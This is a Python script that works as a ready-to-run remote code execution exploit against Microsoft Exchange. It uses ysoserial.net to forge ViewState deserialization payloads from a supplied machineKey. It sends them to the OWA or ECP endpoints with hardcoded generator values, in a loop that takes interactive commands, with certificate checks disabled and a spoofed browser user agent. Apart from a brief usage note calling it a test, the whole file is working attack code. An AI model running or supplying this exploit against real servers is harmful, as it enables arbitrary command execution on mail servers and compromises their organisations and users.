# Python3
import requests
import sys
import os
import urllib3
urllib3.disable_warnings()
from urllib.parse import quote

ysoserial_path = os.path.abspath(os.path.dirname(__file__))+"/ysoserial.net/"

def ysoserial(cmd):
    cmd = ysoserial_path+cmd
    r = os.popen(cmd)
    res = r.readlines()
    return res[-1]


if __name__ == '__main__':
    if len(sys.argv)!=4:
        note = '''
Use to test the deserializing code execution of Exchange.            
From read and write permissions of Exchange files to deserializing code execution.
You should modify the machineKey in %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\<path>\\web.config to implement deserializing code execution.
<path>:owa or ecp

Usage:
    <url> <key> <path>
<path>: owa or ecp

eg.    
    {0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
    {1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp    
        '''
        print(note.format(sys.argv[0],sys.argv[0]))
        sys.exit(0)
    else:
        targeturl = "";
        generator = ""; 
        try:
            if sys.argv[3] == "owa":
                targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
                generator = "042A94E8";

            elif sys.argv[3] == "ecp":
                targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
                generator = "277B1C2A";
            else:
                print("[!] Wrong input");

            print("[*] TargetURL: " + targeturl)


            while True:
                print("[*] Input the command:");
                command = input("Command >")

                if command == "exit":
                    sys.exit(0)

                payload = """ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{command}" --validationalg="SHA1" --validationkey="{key}" --generator="{generator}" """
                payload = payload.format(command=command, key=sys.argv[2], generator=generator)
                      
                out_payload = ysoserial(payload)   
                final_exp = "{targeturl}?__VIEWSTATEGENERATOR={generator}&__VIEWSTATE={out_payload}"
                final_exp = final_exp.format(targeturl=targeturl, generator=generator, out_payload=quote(out_payload))    

                headers = {
                    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx"
                }
                status = requests.get(final_exp,headers=headers,verify=False,timeout=15)

                print(status.status_code)
            
        except Exception as e:
            print("[!] Error:%s"%(e))
            sys.exit(0)
